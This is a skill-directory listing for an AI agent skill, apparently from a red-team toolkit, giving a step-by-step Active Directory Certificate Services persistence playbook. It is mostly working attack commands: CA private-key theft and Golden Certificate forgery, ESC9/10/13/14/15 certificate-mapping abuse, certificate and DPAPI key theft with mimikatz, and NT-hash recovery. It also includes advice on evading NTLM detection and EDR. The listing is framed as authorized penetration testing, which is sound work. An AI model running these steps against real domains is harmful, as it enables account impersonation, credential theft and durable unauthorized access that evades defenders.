---
name: ADCS Persistence
slug: adcs-persistence
category: AI Engineering
description: ADCS Persistence establishes long-lived access through AD CS certificate abuse and weak certificate mapping. It is used for Golden Certificates, ESC9/10, altSecIdentities, certificate theft, and related persistence techniques.
github: "https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/adcs-persistence"
language: Python
stars: 266
forks: 37
install: "npx degit https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/adcs-persistence ~/.claude/skills/adcs-persistence"
installs_to: ~/.claude/skills/adcs-persistence
source_path: skills/ad/adcs-persistence/SKILL.md
collection_size: 25
category_size: 2631
collection_url: "https://dirskills.com/collections/blacklanternsecurity/red-run"
added: 2026-09-02T05:19:25.126Z
last_synced: 2026-09-02T05:19:25.126Z
canonical_url: "https://dirskills.com/skills/adcs-persistence"
---

# ADCS Persistence

ADCS Persistence establishes long-lived access through AD CS certificate abuse and weak certificate mapping. It is used for Golden Certificates, ESC9/10, altSecIdentities, certificate theft, and related persistence techniques.

**Install:**

```bash
npx degit https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/adcs-persistence ~/.claude/skills/adcs-persistence
```

## README

# ADCS Persistence & Certificate Mapping Attacks

You are helping a penetration tester establish persistence through AD CS
certificate abuse and exploit weak certificate mapping configurations. All
testing is under explicit written authorization.

**Kerberos-first authentication**: Certificate authentication uses PKINIT
(pure Kerberos) by default. Post-exploitation operations use ccache-based
Kerberos to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).

## Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:
- Print `[adcs-persistence] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
  descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

## State Management

Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)

Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)

## Prerequisites

- Varies by technique (see individual sections)
- Tools: `certipy`, `Certify.exe`, `ForgeCert`, `mimikatz`, `SharpDPAPI`,
  `Rubeus`, `openssl`

**Kerberos-first workflow**:

```bash
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
```

**Tool output directory**: `getTGT.py`, `certipy req`, `certipy auth`, and
`certipy shadow` all write output files to CWD with no output-path flag.
Always prefix these commands with `cd $TMPDIR &&` to keep files out of the
working directory. `getTGT.py` does NOT support `-out` — CWD is the only
control. When saving evidence, use `mv` (not `cp`) to avoid stray duplicates:

```bash
mv $TMPDIR/administrator.pfx engagement/evidence/administrator-esc9.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator-esc9.ccache
```

## Overview: Technique Selection

| Technique | Access Required | Persistence Duration | OPSEC |
|-----------|----------------|---------------------|-------|
| Golden Certificate | CA admin / CA server access | Until CA cert expires (5-10+ years) | Medium |
| User cert persistence | Any user | Until cert expires (1-2 years, renewable) | Low |
| Machine cert persistence | SYSTEM on target | Until cert expires | Low |
| altSecIdentities mapping | Write on target user | Until mapping removed | Low |
| Enrollment agent | Enrollment Agent template access | Until agent cert revoked | Medium |
| ESC9/10 mapping bypass | GenericWrite + weak mapping config | Per-certificate lifetime | Medium |
| ESC13 issuance policy | Enrollment rights on linked template | Per-certificate lifetime | Low |
| ESC14 explicit mapping | Write on target altSecIdentities | Until mapping removed | Low |
| ESC15 application policies | Schema v1 template with ESS | Per-certificate lifetime | Medium |
| Certificate theft | Access to cert store / DPAPI keys | Until cert expires or revoked | Low-Medium |

### Decision tree

```
What do you have?
├── CA server access or CA admin → Golden Certificate (Step 1)
├── Any domain user → User cert persistence (Step 2)
├── SYSTEM on a machine → Machine cert persistence (Step 2) + cert theft (Step 4)
├── GenericWrite on accounts + weak mapping → ESC9/10 (Step 3)
├── Write on altSecIdentities → ESC14 / explicit mapping (Step 5)
├── Enrollment rights on OID-linked template → ESC13 (Step 6)
├── Schema v1 template with ESS → ESC15 (Step 7)
├── CA uses YubiHSM → ESC12 (Step 8)
└── Want to steal existing certs → Certificate theft (Step 4)
```

## Step 1: Golden Certificate

Forge certificates signed with the stolen CA private key. Valid until the CA
certificate expires (typically 5-10+ years). Cannot be revoked (unknown to CA
database). The most powerful ADCS persistence mechanism.

### Obtain CA certificate with private key

```bash
# Certipy — backup CA cert + key (requires CA admin)
certipy ca -k -no-pass -target CA.DOMAIN.LOCAL -ca 'DOMAIN-CA' -backup

# certutil (on CA server)
certutil -backupKey -f -p 'BackupPassword' C:\Windows\Tasks\ca-backup

# Mimikatz (on CA server — patch CAPI/CNG then export)
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"

# GUI: certsrv.msc → Right-click CA → All Tasks → Back up CA
# Check "Private key and CA certificate"
```

### Forge certificate for any user

```bash
# Certipy — forge with SID (required for KB5014754 Full Enforcement)
certipy forge -ca-pfx DOMAIN-CA.pfx \
  -upn administrator@domain.local \
  -sid 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500' \
  -crl 'ldap:///'

# Certipy — copy extensions from existing certificate template
certipy forge -template existing-cert.pfx -ca-pfx DOMAIN-CA.pfx \
  -upn administrator@domain.local \
  -sid 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500'

# ForgeCert (C# / Windows)
ForgeCert.exe --CaCertPath DOMAIN-CA.pfx --CaCertPassword 'BackupPass' \
  --Subject "CN=Administrator" --SubjectAltName administrator@domain.local \
  --NewCertPath admin_forged.pfx --NewCertPassword 'CertPass'

# Certify (C# / Windows)
Certify.exe forge --ca-cert DOMAIN-CA.pfx --ca-cert-password 'BackupPass' \
  --upn administrator@domain.local \
  --sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500
```

**Critical parameters**:
- `-crl 'ldap:///'`: CRL distribution point — KDC checks for CDP presence and
  errors without it. Always include.
- `-sid`: Object SID — required for KB5014754 Full Enforcement (Feb 2025).
  Without it, PKINIT fails on modern DCs.
- `-template`: Copy Key Usage, Basic Constraints, and AIA extensions from an
  existing certificate for better stealth.

### Authenticate with forged certificate

```bash
# Certipy — PKINIT auth
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP

# Rubeus
Rubeus.exe asktgt /user:administrator /certificate:admin_forged.pfx \
  /password:CertPass /ptt

# If PKINIT fails — LDAPS fallback
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP -ldap-shell
```

## Step 2: User and Machine Certificate Persistence

Request legitimate certificates that survive password changes and provide
persistent access for the certificate lifetime (1-2 years, renewable).

### User certificate persistence

```bash
# Request certificate as current user (User template)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' -template User

# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User

# Authenticate later (survives password changes)
certipy auth -pfx user.pfx -dc-ip DC_IP
```

### Machine certificate persistence

```bash
# Request as machine account (requires SYSTEM)
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:Machine /machine

# Authenticate — enables S4U2Self for service tickets
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:machine.pfx \
  /password:CertPass /ptt
```

### Certificate renewal (extend persistence)

```bash
# Renew before expiration — avoids new enrollment artifact
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template User -pfx user_old.pfx -renew -out user_renewed.pfx

# Windows native
certreq -enroll -user -cert SERIAL_OR_ID renew reusekeys
```

Renewed certificates automatically include the SID security extension,
maintaining compatibility with KB5014754 Full Enforcement.

## Step 3: ESC9 and ESC10 — Weak Certificate Mapping

These exploit weak certificate-to-account mapping configurations to
authenticate as a different user than the certificate owner.

### ESC9: No Security Extension

**Conditions**: `StrongCertificateBindingEnforcement` = 0 or 1 (default),
template has `CT_FLAG_NO_SECURITY_EXTENSION` flag, template has client-auth
EKU, attacker has GenericWrite over an intermediate account.

```bash
# Step 1: Shadow credentials on intermediate account (get their hash)
certipy shadow auto -username attacker@domain.local -password 'Pass' \
  -account intermediate

# Step 2: Change intermediate's UPN to target
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn Administrator

# Step 3: Request certificate from ESC9-vulnerable template
certipy req -username intermediate@domain.local -hashes :INTERMEDIATE_HASH \
  -ca 'DOMAIN-CA' -template 'ESC9Template'

# Step 4: Restore intermediate's UPN
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local

# Step 5: Authenticate — cert maps to Administrator via UPN (no SID check)
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip DC_IP
```

### ESC10: Weak Certificate Mapping Methods

**Variant 1**: `StrongCertificateBindingEnforcement` = 0 (no SID binding at all)

```bash
# Same workflow as ESC9 but works with any template
certipy shadow auto -username attacker@domain.local -password 'Pass' \
  -account intermediate
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn administrator
certipy req -username intermediate@domain.local -hashes :HASH \
  -ca 'DOMAIN-CA' -template User
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local
certipy auth -pfx administrator.pfx -dc-ip DC_IP
```

**Variant 2**: `CertificateMappingMethods` includes UPN mapping (0x04)

```bash
# Map to computer account by changing UPN to computer$@domain
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn 'DC$@domain.local'
certipy req -username intermediate@domain.local -hashes :HASH \
  -ca 'DOMAIN-CA' -template User
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local
# Authenticate — may need LDAP shell for machine accounts
certipy auth -pfx 'DC$.pfx' -dc-ip DC_IP -ldap-shell
```

### Check mapping configuration

```bash
# StrongCertificateBindingEnforcement (DC registry)
# 0 = no enforcement, 1 = compatibility (default pre-Feb 2025), 2 = full
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" \
  /v StrongCertificateBindingEnforcement

# CertificateMappingMethods (DC registry)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" \
  /v CertificateMappingMethods
# 0x04 = UPN mapping enabled (vulnerable)
```

## Step 4: Certificate Theft

Steal existing certificates from compromised hosts. No new enrollment
artifacts — uses existing certificates.

### THEFT1: Export via Crypto APIs

```bash
# Mimikatz — patch CAPI/CNG and export all certs
mimikatz.exe "crypto::capi" "crypto::cng" \
  "crypto::certificates /export /systemstore:CURRENT_USER"

# Machine certificates (requires SYSTEM)
mimikatz.exe "crypto::capi" "crypto::cng" \
  "crypto::certificates /export /systemstore:LOCAL_MACHINE"
```

### THEFT2: User certificates via DPAPI

```bash
# Locate private keys
# CAPI: %APPDATA%\Microsoft\Crypto\RSA\<User-SID>\
# CNG:  %APPDATA%\Microsoft\Crypto\Keys\

# Get DPAPI masterkey (in user context)
mimikatz.exe "dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\<SID>\<GUID> /rpc"

# SharpDPAPI — automated user cert extraction
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt

# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out cert.pfx
```

### THEFT3: Machine certificates via DPAPI

```bash
# Requires SYSTEM access
# Machine keys: %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys
# CNG keys: %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys

# Extract DPAPI_SYSTEM LSA secret
mimikatz.exe "lsadump::secrets"
# Use DPAPI_SYSTEM to decrypt machine private keys

# SharpDPAPI — automated (escalates to SYSTEM internally)
SharpDPAPI.exe certificates /machine
```

### THEFT4: Certificates from filesystem

```bash
# Search for certificate files
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx,*.p12,*.pkcs12,*.pem,*.key

# Extract hash from password-protected PFX for offline cracking
pfx2john.py certificate.pfx > engagement/evidence/pfx-hash.txt
```

**Do NOT crack hashes in this skill.** Save the PFX hash to
`engagement/evidence/` and return to the orchestrator with the hash file path,
hash type (PFX / hashcat mode 12400), and a routing recommendation to
**credential-recovery**.

### THEFT5: UnPAC the Hash (NTLM from PKINIT)

Extract NT hash from a TGT obtained via certificate — no LSASS touch required.

```bash
# Certipy — automatic UnPAC
certipy auth -pfx user.pfx -dc-ip DC_IP
# Output includes NT hash

# getnthash.py (PKINITtools)
export KRB5CCNAME=user.ccache
getnthash.py -key 'AS-REP-encryption-key' DOMAIN/user

# Rubeus
Rubeus.exe asktgt /user:target /certificate:cert.pfx \
  /password:CertPass /getcredentials
```

## Step 5: ESC14 — altSecIdentities Explicit Mapping

**Conditions**: Write access to target's `altSecurityIdentities` attribute.
Map your certificate to a victim account for persistent authentication.

### Mapping formats

**Strong mappings** (KB5014754-compatible, preferred):

| Format | Example |
|--------|---------|
| X509IssuerSerialNumber | `X509:<I>DC=local,DC=domain,CN=DOMAIN-CA<SR>1200000000AC11` |
| X509SKI | `X509:<SKI>abc123def456...` |
| X509SHA1PublicKey | `X509:<SHA1-PUKEY>abc123def456...` |

**Weak mappings** (deprecated, may be rejected on modern DCs):

| Format | Example |
|--------|---------|
| X509IssuerSubject | `X509:<I>IssuerName<S>SubjectName` |
| X509SubjectOnly | `X509:<S>SubjectName` |
| X509RFC822 | `X509:<RFC822>user@domain.com` |

### Exploitation

```bash
# Step 1: Obtain a certificate (request as yourself)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' -template Machine

# Step 2: Extract certificate identifiers for mapping
certutil -Dump -v attacker.pfx
# Note Issuer and Serial Number

# Step 3: Add explicit mapping to victim account
# PowerShell
$Serial = '1200000000AC11000000002B'  # Reversed byte order from certutil
$Issuer = 'DC=local,DC=domain,CN=DOMAIN-CA'
$Map = "X509:<I>$Issuer<SR>$Serial"
Set-ADUser -Identity 'administrator' -Add @{altSecurityIdentities=$Map}

# Stifle.exe (dedicated tool)
Stifle.exe add /object:administrator /certificate:cert.pfx /password:CertPass

# Step 4: Authenticate as victim using your certificate
certipy auth -pfx attacker.pfx -dc-ip DC_IP
Rubeus.exe asktgt /user:administrator /certificate:attacker.pfx /password:CertPass
```

### Cleanup

```bash
Set-ADUser -Identity 'administrator' -Remove @{altSecurityIdentities=$Map}
```

## Step 6: ESC13 — Issuance Policy OID Group Link

**Conditions**: Template has issuance policy extension with OID linked to a
group (typically Universal group). Enrollment rights granted. Client-auth EKU.

The certificate automatically grants membership in the linked group via
issuance policy resolution.

```bash
# Enumerate vulnerable templates (certipy shows OID links)
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

# Request certificate from template with OID group link
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'ESC13Template'

# Authenticate — TGT includes group membership from OID link
Rubeus.exe asktgt /user:user /certificate:esc13.pfx /password:CertPass /nowrap
certipy auth -pfx esc13.pfx -dc-ip DC_IP
```

## Step 7: ESC15 — Application Policies Override (CVE-2024-49019)

**Conditions**: Schema version 1 template, `ENROLLEE_SUPPLIES_SUBJECT` set,
no manager approval, `authenticationenabled` = False.

Application Policies extension overrides the template's EKU. Inject client-auth
EKU into templates that normally only allow server-auth (like WebServer).

### Variant 1: ESC1-like via WebServer template

```bash
# Inject Client Authentication via application policies
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template WebServer -upn administrator@domain.local \
  --application-policies 'Client Authentication'

certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
```

### Variant 2: ESC3-like via Certificate Request Agent

```bash
# Inject Certificate Request Agent OID
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template WebServer \
  --application-policies '1.3.6.1.4.1.311.20.2.1'

# Use agent cert to enroll on behalf of administrator
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template User -on-behalf-of 'DOMAIN\administrator' \
  -pfx agent.pfx
```

**Note**: Patched November 2024 (CVE-2024-49019). Only works on unpatched CAs.

## Step 8: ESC12 — YubiHSM CA Key Extraction

**Conditions**: CA private key stored on YubiHSM2 device. Shell access on CA
server.

```bash
# Extract YubiHSM password from registry
reg query "HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword"

# Generate certificate for target user
certipy req -target CA.DOMAIN.LOCAL -username user@domain.local -password 'Pass' \
  -template User

# Repair certificate with CA private key via YubiHSM provider
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my CA-COMMON-NAME

# Sign certificate with SAN extension
certutil -sign ./user.crt new.crt @extension.inf

# Authenticate
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx
```

## Step 9: KB5014754 — Strong Certificate Binding Enforcement

Since February 2025, DCs enforce strong certificate binding by default.

### Impact on persistence techniques

| Technique | Impact | Workaround |
|-----------|--------|------------|
| Golden Certificate | Must include SID in forged cert | Use `-sid` flag in certipy forge |
| User cert persistence | Works (SID auto-included since May 2022) | None needed |
| ESC9/10 | Blocked if enforcement = 2 (Full) | Only works with enforcement 0 or 1 |
| altSecIdentities | Strong formats work, weak formats may be rejected | Use IssuerSerialNumber format |
| Enrollment agent | Works (cert maps to actual requester) | None needed |

### Check enforcement level

```bash
# On domain controller
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" \
  /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility mode, 2 = full enforcement (default Feb 2025)
```

## Step 10: Escalate or Pivot

After establishing persistence:

- **Golden Certificate forged**: Can impersonate any user indefinitely — route
  to **credential-dumping** for DCSync if needed
- **Certificates stolen**: Use for lateral movement — route to **pass-the-hash**
  (with NT hash from UnPAC) or authenticate directly
- **ESC9/10 exploited**: Escalate if additional templates
  are vulnerable
- **altSecIdentities mapped**: Persistent access to specific accounts — use for
  ongoing access
- **Need domain-wide persistence**: Combine golden cert + AdminSDHolder
  (**acl-abuse**) + golden ticket (**kerberos-ticket-forging**)

## Troubleshooting

### KDC_ERR_CERTIFICATE_MISMATCH (forged cert)
DC enforces strong certificate binding (KB5014754). Include `-sid` flag when
forging: `certipy forge -ca-pfx CA.pfx -upn admin@domain -sid S-1-5-21-...-500`.
Also include `-crl 'ldap:///'` for CDP extension.

### PKINIT fails — KDC_ERR_PADATA_TYPE_NOSUPP
DC doesn't support PKINIT pre-auth. Use LDAPS/Schannel fallback:
`certipy auth -pfx cert.pfx -ldap-shell`. From LDAP shell, set RBCD or modify
attributes for alternative exploitation.

### UnPAC returns empty hash
Certificate may not have PKINIT EKU, or DC's PAC_CREDENTIAL_INFO is empty.
Try `certipy auth -pfx cert.pfx -ldap-shell` for LDAPS-based access instead.

### Shadow credentials fails (ESC9/10)
Target account's `msDS-KeyCredentialLink` may be protected or monitored. Use
targeted Kerberoasting or password change as alternati
